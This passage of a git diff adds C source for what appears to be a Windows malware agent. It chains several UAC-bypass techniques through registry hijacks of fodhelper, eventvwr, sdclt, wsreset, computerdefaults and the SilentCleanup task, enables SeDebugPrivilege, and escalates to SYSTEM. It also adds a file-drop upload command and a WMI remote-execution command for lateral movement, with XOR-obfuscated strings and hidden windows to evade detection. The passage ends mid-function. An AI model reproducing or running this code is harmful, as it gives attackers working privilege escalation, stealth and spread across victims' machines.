+static void shell_exec_wait(const char *exe, int wait_ms)
+{
+ typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
+ static fnSEE pSEE = NULL;
+ if (!pSEE) {
+ char _sh[16], _dl[12];
+ EVS_D(_sh, EVS_fn_ShellExecuteExW);
+ EVS_D(_dl, EVS_dll_shell32);
+ HMODULE h = _peb_module(_dl);
+ if (!h) h = LoadLibraryA(_dl);
+ SecureZeroMemory(_dl, sizeof(_dl));
+ if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
+ SecureZeroMemory(_sh, sizeof(_sh));
+ }
+ if (!pSEE) return;
+ WCHAR *w = to_wide(exe);
+ if (!w) return;
+ SHELLEXECUTEINFOW sei = {0};
+ sei.cbSize = sizeof(sei);
+ sei.fMask = 0;
+ sei.lpVerb = L"open";
+ sei.lpFile = w;
+ sei.nShow = SW_HIDE;
+ pSEE(&sei);
+ free(w);
+ Sleep((DWORD)wait_ms);
+}
+
+static void make_safe_cmd(const char *cmdline, char *out, size_t outsz)
+{
+ /* Strip existing outer quotes to get a bare path, then re-wrap for start */
+ char bare[2048 + MAX_PATH] = {0};
+ if (cmdline[0] == '"') {
+ const char *end = strrchr(cmdline, '"');
+ if (end && end != cmdline) {
+ size_t n = (size_t)(end - cmdline - 1);
+ if (n >= sizeof(bare)) n = sizeof(bare) - 1;
+ memcpy(bare, cmdline + 1, n);
+ bare[n] = '\0';
+ } else {
+ strncpy(bare, cmdline, sizeof(bare) - 1);
+ }
+ } else {
+ strncpy(bare, cmdline, sizeof(bare) - 1);
+ }
+ bare[sizeof(bare) - 1] = '\0';
+ snprintf(out, outsz, "cmd /c start \"\" \"%s\"", bare);
+}
+
+static int bypass_lifter(const char *agent_path, char *out, size_t outsz)
+{
+ char self[MAX_PATH] = {0};
+ GetModuleFileNameA(NULL, self, sizeof(self) - 1);
+ char lifter_path[MAX_PATH] = {0};
+ strncpy(lifter_path, self, sizeof(lifter_path) - 1);
+ char *last = strrchr(lifter_path, '\\');
+ if (!last)
+ return snprintf(out, outsz, "e:ps\n"), -1;
+ char _lfn[11];
+ EVS_D(_lfn, EVS_str_lifter_exe);
+ snprintf(last + 1, (size_t)(lifter_path + sizeof(lifter_path) - last - 1), "%s", _lfn);
+ SecureZeroMemory(_lfn, sizeof(_lfn));
+
+ if (GetFileAttributesA(lifter_path) == INVALID_FILE_ATTRIBUTES)
+ return snprintf(out, outsz, "e:nf\n"), -1;
+
+ char tmp[MAX_PATH];
+ GetTempPathA((DWORD)sizeof(tmp), tmp);
+ char staged[MAX_PATH];
+ char _pfx[8];
+ EVS_D(_pfx, EVS_str_WinMgmt);
+ snprintf(staged, sizeof(staged), "%s%s%04lX.exe",
+ tmp, _pfx, (unsigned long)(GetTickCount() & 0xFFFF));
+ SecureZeroMemory(_pfx, sizeof(_pfx));
+
+ if (!CopyFileA(lifter_path, staged, FALSE))
+ return snprintf(out, outsz, "e:cp %lu\n", GetLastError()), -1;
+
+ char exec[MAX_PATH * 2 + 8];
+ snprintf(exec, sizeof(exec), "\"%s\" \"%s\"", staged, agent_path);
+
+ STARTUPINFOA si = { sizeof(si) };
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ PROCESS_INFORMATION pi = {0};
+
+ if (!CreateProcessA(NULL, exec, NULL, NULL, FALSE,
+ CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
+ DeleteFileA(staged);
+ return snprintf(out, outsz, "e:cr %lu\n", GetLastError()), -1;
+ }
+
+ WaitForSingleObject(pi.hProcess, 6000);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ DeleteFileA(staged);
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_fodhelper(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _ms[12], _de[16];
+ EVS_D(_ms, EVS_str_ms_settings);
+ EVS_D(_de, EVS_str_DelegateExecute);
+
+ char key[128], root[64];
+ snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
+ snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
+ SecureZeroMemory(_ms, sizeof(_ms));
+
+ char sys32[MAX_PATH], fod[MAX_PATH + 16];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _fn[14];
+ EVS_D(_fn, EVS_str_fodhelper_exe);
+ snprintf(fod, sizeof(fod), "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+
+ char safe[2048 + MAX_PATH + 4] = {0};
+ make_safe_cmd(cmdline, safe, sizeof(safe));
+
+ if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
+ reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
+ SecureZeroMemory(_de, sizeof(_de));
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "e:reg\n"), -1;
+ }
+ SecureZeroMemory(_de, sizeof(_de));
+
+ shell_exec_wait(fod, 2000);
+ reg_del_tree(HKEY_CURRENT_USER, root);
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_computerdefaults(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _ms[12], _de[16];
+ EVS_D(_ms, EVS_str_ms_settings);
+ EVS_D(_de, EVS_str_DelegateExecute);
+
+ char key[128], root[64];
+ snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _ms);
+ snprintf(root, sizeof(root), "Software\\Classes\\%s", _ms);
+ SecureZeroMemory(_ms, sizeof(_ms));
+
+ char sys32[MAX_PATH], bin[MAX_PATH + 24];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _fn[21];
+ EVS_D(_fn, EVS_str_computerdefaults_exe);
+ snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+
+ char safe[2048 + MAX_PATH + 4] = {0};
+ make_safe_cmd(cmdline, safe, sizeof(safe));
+
+ if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0 ||
+ reg_set_sz(HKEY_CURRENT_USER, key, _de, "") != 0) {
+ SecureZeroMemory(_de, sizeof(_de));
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "e:reg\n"), -1;
+ }
+ SecureZeroMemory(_de, sizeof(_de));
+
+ shell_exec_wait(bin, 2000);
+ reg_del_tree(HKEY_CURRENT_USER, root);
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_wsreset(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _clsid[36];
+ EVS_D(_clsid, EVS_str_wsreset_clsid);
+
+ char key[192], root[128];
+ snprintf(key, sizeof(key), "Software\\Classes\\%s\\Shell\\open\\command", _clsid);
+ snprintf(root, sizeof(root), "Software\\Classes\\%s", _clsid);
+ SecureZeroMemory(_clsid, sizeof(_clsid));
+
+ char sys32[MAX_PATH], bin[MAX_PATH + 16];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _fn[12];
+ EVS_D(_fn, EVS_str_wsreset_exe);
+ snprintf(bin, sizeof(bin), "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+
+ if (GetFileAttributesA(bin) == INVALID_FILE_ATTRIBUTES) {
+ return snprintf(out, outsz, "e:nf\n"), -1;
+ }
+
+ char safe[2048 + MAX_PATH + 4] = {0};
+ make_safe_cmd(cmdline, safe, sizeof(safe));
+
+ if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "e:reg\n"), -1;
+ }
+
+ shell_exec_wait(bin, 3000);
+ reg_del_tree(HKEY_CURRENT_USER, root);
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_sdclt(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _ef[8];
+ EVS_D(_ef, EVS_str_exefile);
+
+ char key[128], root[64];
+ snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\runas\\command", _ef);
+ snprintf(root, sizeof(root), "Software\\Classes\\%s", _ef);
+ SecureZeroMemory(_ef, sizeof(_ef));
+
+ char safe[2048 + MAX_PATH + 4] = {0};
+ make_safe_cmd(cmdline, safe, sizeof(safe));
+
+ if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "e:reg\n"), -1;
+ }
+
+ char sys32[MAX_PATH], sdp[MAX_PATH + 16];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _fn[10];
+ EVS_D(_fn, EVS_str_sdclt_exe);
+ snprintf(sdp, sizeof(sdp), "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+
+ typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
+ static fnSEE pSEE = NULL;
+ if (!pSEE) {
+ char _sh[16], _dl[12];
+ EVS_D(_sh, EVS_fn_ShellExecuteExW);
+ EVS_D(_dl, EVS_dll_shell32);
+ HMODULE h = _peb_module(_dl);
+ SecureZeroMemory(_dl, sizeof(_dl));
+ if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
+ SecureZeroMemory(_sh, sizeof(_sh));
+ }
+ if (pSEE) {
+ WCHAR *wpath = to_wide(sdp);
+ if (wpath) {
+ SHELLEXECUTEINFOW sei = {0};
+ sei.cbSize = sizeof(sei);
+ sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
+ sei.lpVerb = L"open";
+ sei.lpFile = wpath;
+ sei.lpParameters = L"/KickOffElev";
+ sei.nShow = SW_HIDE;
+ pSEE(&sei);
+ Sleep(400);
+ if (sei.hProcess) CloseHandle(sei.hProcess);
+ free(wpath);
+ }
+ }
+
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_eventvwr(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _mf[8];
+ EVS_D(_mf, EVS_str_mscfile);
+
+ char key[128], root[64];
+ snprintf(key, sizeof(key), "Software\\Classes\\%s\\shell\\open\\command", _mf);
+ snprintf(root, sizeof(root), "Software\\Classes\\%s", _mf);
+ SecureZeroMemory(_mf, sizeof(_mf));
+
+ char safe[2048 + MAX_PATH + 4] = {0};
+ make_safe_cmd(cmdline, safe, sizeof(safe));
+
+ if (reg_set_sz(HKEY_CURRENT_USER, key, NULL, safe) != 0) {
+ reg_del_tree(HKEY_CURRENT_USER, root);
+ return snprintf(out, outsz, "e:reg\n"), -1;
+ }
+
+ char sys32[MAX_PATH], evtw[MAX_PATH + 16];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _fn[13];
+ EVS_D(_fn, EVS_str_eventvwr_exe);
+ snprintf(evtw, sizeof(evtw), "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+
+ shell_exec_wait(evtw, 2000);
+ reg_del_tree(HKEY_CURRENT_USER, root);
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_diskcleanup(const char *cmdline, char *out, size_t outsz)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ char _ev[12], _wd[7];
+ EVS_D(_ev, EVS_str_Environment);
+ EVS_D(_wd, EVS_str_windir);
+
+ char hijacked[2048 + MAX_PATH + 32] = {0};
+ snprintf(hijacked, sizeof(hijacked), "cmd /K \"%s\" & REM ", cmdline);
+
+ if (reg_set_sz(HKEY_CURRENT_USER, _ev, _wd, hijacked) != 0) {
+ SecureZeroMemory(_ev, sizeof(_ev));
+ SecureZeroMemory(_wd, sizeof(_wd));
+ return snprintf(out, outsz, "e:wd\n"), -1;
+ }
+
+ char sys32[MAX_PATH], sched[MAX_PATH + 16];
+ GetSystemDirectoryA(sys32, MAX_PATH);
+ char _sfn[13];
+ EVS_D(_sfn, EVS_str_schtasks_exe);
+ snprintf(sched, sizeof(sched), "%s\\%s", sys32, _sfn);
+ SecureZeroMemory(_sfn, sizeof(_sfn));
+
+ char _sc[14];
+ EVS_D(_sc, EVS_str_SilentCleanup);
+ char taskpath[64];
+ snprintf(taskpath, sizeof(taskpath), "\\Microsoft\\Windows\\DiskCleanup\\%s", _sc);
+ SecureZeroMemory(_sc, sizeof(_sc));
+
+ char full_cmd[MAX_PATH + 128];
+ snprintf(full_cmd, sizeof(full_cmd),
+ "\"%s\" /Run /TN \"%s\" /I", sched, taskpath);
+
+ STARTUPINFOA si = { sizeof(si) };
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ PROCESS_INFORMATION pi = {0};
+
+ BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL, FALSE,
+ CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
+ if (ok) {
+ WaitForSingleObject(pi.hProcess, 3000);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+
+ Sleep(4000);
+
+ HKEY henv = NULL;
+ if (RegOpenKeyExA(HKEY_CURRENT_USER, _ev, 0, KEY_SET_VALUE, &henv) == ERROR_SUCCESS) {
+ RegDeleteValueA(henv, _wd);
+ RegCloseKey(henv);
+ }
+ SecureZeroMemory(_ev, sizeof(_ev));
+ SecureZeroMemory(_wd, sizeof(_wd));
+
+ if (!ok)
+ return snprintf(out, outsz, "e:st %lu\n", GetLastError()), -1;
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int bypass_runas(const char *cmdline, char *out, size_t outsz)
+{
+ if (!cmdline || !*cmdline)
+ return snprintf(out, outsz, "e:0\n"), -1;
+
+ WCHAR *exe_w = to_wide(cmdline);
+ if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
+
+ typedef BOOL (WINAPI *fnSEE)(SHELLEXECUTEINFOW *);
+ static fnSEE pSEE = NULL;
+ if (!pSEE) {
+ char _sh[16], _dl[12];
+ EVS_D(_sh, EVS_fn_ShellExecuteExW);
+ EVS_D(_dl, EVS_dll_shell32);
+ HMODULE h = _peb_module(_dl);
+ if (!h) h = LoadLibraryA(_dl);
+ SecureZeroMemory(_dl, sizeof(_dl));
+ if (h) pSEE = (fnSEE)(void*)GetProcAddress(h, _sh);
+ SecureZeroMemory(_sh, sizeof(_sh));
+ }
+ if (!pSEE) { free(exe_w); return snprintf(out, outsz, "e:see\n"), -1; }
+
+ SHELLEXECUTEINFOW sei = {0};
+ sei.cbSize = sizeof(sei);
+ sei.fMask = SEE_MASK_NOCLOSEPROCESS;
+ sei.lpVerb = L"runas";
+ sei.lpFile = exe_w;
+ sei.lpParameters = L"";
+ sei.nShow = SW_SHOW;
+
+ BOOL ok = pSEE(&sei);
+ DWORD err = GetLastError();
+ free(exe_w);
+
+ if (!ok) {
+ if (err == ERROR_CANCELLED)
+ return snprintf(out, outsz, "e:u\n"), -1;
+ return snprintf(out, outsz, "e:se %lu\n", err), -1;
+ }
+
+ if (sei.hProcess) {
+ WaitForSingleObject(sei.hProcess, 3000);
+ CloseHandle(sei.hProcess);
+ } else {
+ Sleep(3000);
+ }
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static void _enable_sedebug(void);
+
+int cmd_uacbypass(const char *args, char *output_buf, size_t output_size)
+{
+ memset(output_buf, 0, output_size);
+
+ int il = get_integrity_level();
+
+ if (il >= IL_SYSTEM) {
+ snprintf(output_buf, output_size, "ok:s\n");
+ return 0;
+ }
+
+ if (il >= IL_HIGH) {
+ _enable_sedebug();
+ return cmd_getsystem(NULL, output_buf, output_size);
+ }
+
+ {
+ HANDLE htok = NULL;
+ TOKEN_ELEVATION_TYPE etype = TokenElevationTypeDefault;
+ { const adv_api_t *_a = adv_get();
+ if (_a->OpenProcessToken && _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok)) {
+ DWORD tsz = sizeof(etype);
+ GetTokenInformation(htok, TokenElevationType, &etype, tsz, &tsz);
+ CloseHandle(htok);
+ }
+ }
+ if (etype != TokenElevationTypeLimited) {
+ snprintf(output_buf, output_size, "e:il\n");
+ return -1;
+ }
+ }
+
+ {
+ HKEY hpol = NULL;
+ DWORD consent = 0xFFFF, psz = sizeof(consent);
+ { char _rp[57], _rv[28]; volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_reg_policies_system); _i++)
+ _rp[_i] = (char)(EVS_str_reg_policies_system[_i] ^ _k);
+ _rp[sizeof(EVS_str_reg_policies_system)] = '\0';
+ for (int _i = 0; _i < (int)sizeof(EVS_str_ConsentPromptBehaviorAdmin); _i++)
+ _rv[_i] = (char)(EVS_str_ConsentPromptBehaviorAdmin[_i] ^ _k);
+ _rv[sizeof(EVS_str_ConsentPromptBehaviorAdmin)] = '\0';
+ if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, _rp, 0, KEY_QUERY_VALUE, &hpol) == ERROR_SUCCESS) {
+ RegQueryValueExA(hpol, _rv, NULL, NULL, (BYTE *)&consent, &psz);
+ RegCloseKey(hpol);
+ }
+ SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv)); }
+ size_t _diag_off = strlen(output_buf);
+ if (_diag_off < output_size - 1)
+ snprintf(output_buf + _diag_off, output_size - _diag_off,
+ "cp=%lu\n", consent);
+ }
+
+ evasion_apply_thread(GetCurrentThread());
+
+ {
+ char own_id[AGENT_ID_LEN + 1];
+ agent_gen_id(own_id);
+ agent_write_parent_id(own_id);
+ }
+
+ char method[32] = "auto";
+ char cmdline[2048] = {0};
+
+ char _m_auto[] = {'a','u','t','o',0};
+ char _m_com[] = {'c','o','m',0};
+ char _m_lft[] = {'l','i','f','t','e','r',0};
+ char _m_fod[] = {'f','o','d','h','e','l','p','e','r',0};
+ char _m_sdc[] = {'s','d','c','l','t',0};
+ char _m_cdf[] = {'c','o','m','p','u','t','e','r','d','e','f','a','u','l','t','s',0};
+ char _m_wsr[] = {'w','s','r','e','s','e','t',0};
+ char _m_evt[] = {'e','v','e','n','t','v','w','r',0};
+ char _m_dck[] = {'d','i','s','k','c','l','e','a','n','u','p',0};
+ char _m_run[] = {'r','u','n','a','s',0};
+
+ if (!args || !*args) {
+ GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
+ } else {
+ const char *p = args;
+ char first[64] = {0};
+ int i = 0;
+ while (*p && *p != ' ' && i < 63) first[i++] = *p++;
+ while (*p == ' ') p++;
+
+ if (strcmp(first, _m_auto) == 0 || strcmp(first, _m_com) == 0 ||
+ strcmp(first, _m_lft) == 0 ||
+ strcmp(first, _m_fod) == 0 || strcmp(first, _m_sdc) == 0 ||
+ strcmp(first, _m_cdf) == 0 || strcmp(first, _m_wsr) == 0 ||
+ strcmp(first, _m_evt) == 0 || strcmp(first, _m_dck) == 0 ||
+ strcmp(first, _m_run) == 0) {
+ strncpy(method, first, sizeof(method) - 1);
+ method[sizeof(method) - 1] = '\0';
+ if (*p) { strncpy(cmdline, p, sizeof(cmdline) - 1); cmdline[sizeof(cmdline) - 1] = '\0'; }
+ else GetModuleFileNameA(NULL, cmdline, sizeof(cmdline) - 1);
+ } else {
+ strncpy(cmdline, args, sizeof(cmdline) - 1);
+ }
+ }
+
+ char self_name[MAX_PATH] = {0};
+ GetModuleFileNameA(NULL, self_name, sizeof(self_name) - 1);
+ const char *bn = strrchr(self_name, '\\');
+ bn = bn ? bn + 1 : self_name;
+
+ int before = count_proc(bn);
+ int rc = -1;
+
+#define TRY_BYPASS(fn_name, label) do { \
+ agent_write_gs_flag(); \
+ size_t _off = strlen(output_buf); \
+ char *_b = (_off + 1 < output_size) ? output_buf + _off : output_buf + output_size - 1; \
+ size_t _z = (_off + 1 < output_size) ? output_size - _off : 1; \
+ rc = fn_name(cmdline, _b, _z); \
+ if (rc >= 0) { \
+ int after = before, gs_gone = 0; \
+ for (int _w = 0; _w < 6; _w++) { \
+ after = count_proc(bn); \
+ gs_gone = !agent_gs_flag_exists(); \
+ if (after > before || gs_gone) break; \
+ Sleep(1000); \
+ } \
+ if (after > before || gs_gone) { \
+ if (!after && gs_gone) { \
+ size_t _gg = strlen(output_buf); \
+ if (_gg + 1 < output_size) \
+ snprintf(output_buf + _gg, output_size - _gg, "ok:gs\n"); \
+ } \
+ goto spawned; \
+ } \
+ rc = -1; \
+ } \
+} while(0)
+
+ if (strcmp(method, _m_lft) == 0) {
+ TRY_BYPASS(bypass_lifter, "lifter");
+ } else if (strcmp(method, _m_run) == 0) {
+ TRY_BYPASS(bypass_runas, "runas");
+ } else if (strcmp(method, _m_com) == 0) {
+ size_t _o0 = strlen(output_buf);
+ rc = bypass_com(cmdline,
+ output_buf + _o0,
+ _o0 < output_size ? output_size - _o0 : 1);
+ } else if (strcmp(method, _m_fod) == 0) {
+ TRY_BYPASS(bypass_fodhelper, "fodhelper");
+ } else if (strcmp(method, _m_sdc) == 0) {
+ TRY_BYPASS(bypass_sdclt, "sdclt");
+ } else if (strcmp(method, _m_cdf) == 0) {
+ TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
+ } else if (strcmp(method, _m_wsr) == 0) {
+ TRY_BYPASS(bypass_wsreset, "wsreset");
+ } else if (strcmp(method, _m_evt) == 0) {
+ TRY_BYPASS(bypass_eventvwr, "eventvwr");
+ } else if (strcmp(method, _m_dck) == 0) {
+ TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
+ } else {
+ TRY_BYPASS(bypass_lifter, "lifter");
+ TRY_BYPASS(bypass_eventvwr, "eventvwr");
+ TRY_BYPASS(bypass_diskcleanup, "diskcleanup");
+ TRY_BYPASS(bypass_fodhelper, "fodhelper");
+ TRY_BYPASS(bypass_computerdefaults, "computerdefaults");
+ TRY_BYPASS(bypass_sdclt, "sdclt");
+ TRY_BYPASS(bypass_wsreset, "wsreset");
+ {
+ size_t _oc = strlen(output_buf);
+ char *_bc = (_oc + 1 < output_size) ? output_buf + _oc : output_buf + output_size - 1;
+ size_t _zc = (_oc + 1 < output_size) ? output_size - _oc : 1;
+ agent_write_gs_flag();
+ int _before_c = before;
+ int _com_rc = bypass_com(cmdline, _bc, _zc);
+ if (_com_rc >= 0) {
+ Sleep(2000);
+ int _after_c = count_proc(bn);
+ int _gs_c = !agent_gs_flag_exists();
+ if (_after_c > _before_c || _gs_c) { rc = 0; goto spawned; }
+ }
+ }
+ TRY_BYPASS(bypass_runas, "runas");
+ }
+
+ {
+ size_t off = strlen(output_buf);
+ if (off < output_size - 1)
+ snprintf(output_buf + off, output_size - off, "e:all\n");
+ }
+ return -1;
+
+spawned:;
+ {
+ size_t off = strlen(output_buf);
+ if (off < output_size - 1)
+ snprintf(output_buf + off, output_size - off, "ok\n");
+ }
+ return 0;
+}
+
+static void _enable_sedebug(void)
+{
+ const adv_api_t *adv = adv_get();
+ if (!adv->OpenProcessToken || !adv->LookupPrivilegeValueA || !adv->AdjustTokenPrivileges)
+ return;
+ HANDLE htok = NULL;
+ if (!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &htok)) return;
+ LUID luid;
+ char _sd[20]; { volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_SeDebugPrivilege); _i++)
+ _sd[_i] = (char)(EVS_str_SeDebugPrivilege[_i] ^ _k);
+ _sd[sizeof(EVS_str_SeDebugPrivilege)] = '\0'; }
+ if (adv->LookupPrivilegeValueA(NULL, _sd, &luid)) {
+ TOKEN_PRIVILEGES tp;
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ adv->AdjustTokenPrivileges(htok, FALSE, &tp, 0, NULL, NULL);
+ }
+ CloseHandle(htok);
+}
+
+int cmd_privesc(char *out, size_t sz)
+{
+ return cmd_uacbypass(NULL, out, sz);
+}
diff --git a/agent/src/commands/upload.c b/agent/src/commands/upload.c
new file mode 100644
index 0000000..c75d8dc
--- /dev/null
+++ b/agent/src/commands/upload.c
@@ -0,0 +1,55 @@
+#include "commands.h"
+#include "crypto.h"
+#include
+#include
+#include
+#include
+
+/* decode base64 data from server and write it to local_path */
+int cmd_upload(const char *local_path, const char *data_b64,
+ char *output_buf, size_t output_size)
+{
+ if (!local_path || !data_b64 || !output_buf) return -1;
+
+ size_t raw_len = 0;
+ uint8_t *raw = base64_decode(data_b64, &raw_len);
+ if (!raw) {
+ snprintf(output_buf, output_size, "[upload] base64 decode failed\n");
+ return -1;
+ }
+
+ HANDLE fh = CreateFileA(
+ local_path,
+ GENERIC_WRITE,
+ 0,
+ NULL,
+ CREATE_ALWAYS,
+ FILE_ATTRIBUTE_NORMAL,
+ NULL
+ );
+
+ if (fh == INVALID_HANDLE_VALUE) {
+ snprintf(output_buf, output_size,
+ "[upload] CreateFile failed: %lu (path: %s)\n",
+ GetLastError(), local_path);
+ free(raw);
+ return -1;
+ }
+
+ DWORD written = 0;
+ BOOL ok = WriteFile(fh, raw, (DWORD)raw_len, &written, NULL);
+ CloseHandle(fh);
+ free(raw);
+
+ if (!ok || written != (DWORD)raw_len) {
+ snprintf(output_buf, output_size,
+ "[upload] WriteFile failed: %lu (wrote %lu / %zu bytes)\n",
+ GetLastError(), written, raw_len);
+ return -1;
+ }
+
+ snprintf(output_buf, output_size,
+ "[upload] OK - wrote %zu bytes to %s\n",
+ raw_len, local_path);
+ return 0;
+}
diff --git a/agent/src/commands/wmi.c b/agent/src/commands/wmi.c
new file mode 100644
index 0000000..47c50d6
--- /dev/null
+++ b/agent/src/commands/wmi.c
@@ -0,0 +1,191 @@
+#include "commands.h"
+#include "evs_strings.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+static const CLSID _clsid_WbemLocator =
+ {0x4590f811,0x1d3a,0x11d0,{0x89,0x1f,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
+static const IID _iid_IWbemLocator =
+ {0xdc12a687,0x737f,0x11cf,{0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
+
+static BSTR _mbstr(const char *s)
+{
+ int n = MultiByteToWideChar(CP_ACP, 0, s, -1, NULL, 0);
+ if (n <= 0) return NULL;
+ WCHAR *ws = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
+ if (!ws) return NULL;
+ MultiByteToWideChar(CP_ACP, 0, s, -1, ws, n);
+ BSTR b = SysAllocString(ws);
+ free(ws);
+ return b;
+}
+
+int cmd_wmiexec(const char *host, const char *cmdline,
+ char *output_buf, size_t output_size)
+{
+ if (!host || !host[0] || !cmdline || !cmdline[0]) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] usage: wmiexec \n");
+ return -1;
+ }
+
+ HRESULT hr;
+ BOOL co_init = FALSE;
+ int rc = -1;
+
+ IWbemLocator *pLoc = NULL;
+ IWbemServices *pSvc = NULL;
+ IWbemClassObject *pClass = NULL;
+ IWbemClassObject *pInCls = NULL;
+ IWbemClassObject *pIn = NULL;
+ IWbemClassObject *pOut = NULL;
+ BSTR bNS = NULL, bCls = NULL, bMeth = NULL;
+
+ hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
+ if (SUCCEEDED(hr)) {
+ co_init = TRUE;
+ } else if (hr != RPC_E_CHANGED_MODE) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] CoInitializeEx: 0x%08lx\n", (unsigned long)hr);
+ return -1;
+ }
+
+ CoInitializeSecurity(NULL, -1, NULL, NULL,
+ RPC_C_AUTHN_LEVEL_DEFAULT,
+ RPC_C_IMP_LEVEL_IMPERSONATE,
+ NULL, EOAC_NONE, NULL);
+
+ hr = CoCreateInstance(&_clsid_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
+ &_iid_IWbemLocator, (void **)&pLoc);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] CoCreateInstance: 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+
+ char ns[320];
+ snprintf(ns, sizeof(ns), "\\\\%s\\root\\cimv2", host);
+ bNS = _mbstr(ns);
+ if (!bNS) goto cleanup;
+
+ hr = pLoc->lpVtbl->ConnectServer(pLoc, bNS,
+ NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] ConnectServer(%s): 0x%08lx\n",
+ host, (unsigned long)hr);
+ goto cleanup;
+ }
+
+ hr = CoSetProxyBlanket((IUnknown *)pSvc,
+ RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
+ RPC_C_AUTHN_LEVEL_CALL,
+ RPC_C_IMP_LEVEL_IMPERSONATE,
+ NULL, EOAC_NONE);
+ if (FAILED(hr)) {
+ snprintf(output_buf, output_size,
+ "[wmiexec] CoSetProxyBlanket: 0x%08lx\n", (unsigned long)hr);
+ goto cleanup;
+ }
+
+ { WCHAR _wp[14]; volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_Win32_Process); _i++)
+ _wp[_i] = (WCHAR)(EVS_str_Win32_Process[_i] ^ _k);
+ _wp[sizeof(EVS_str_Win32_Process)] = L'\0';
+ bCls = SysAllocString(_wp);
+ SecureZeroMemory(_wp, sizeof(_wp)); }
+ bMeth = SysAllocString(L"Create");
+ if (!bCls || !bMeth) goto cleanup;
+
+ hr = pSvc->lpVtbl->GetObject(pSvc, bCls, 0, NULL, &pClass, NULL);
+ if (FAILED(hr)) {
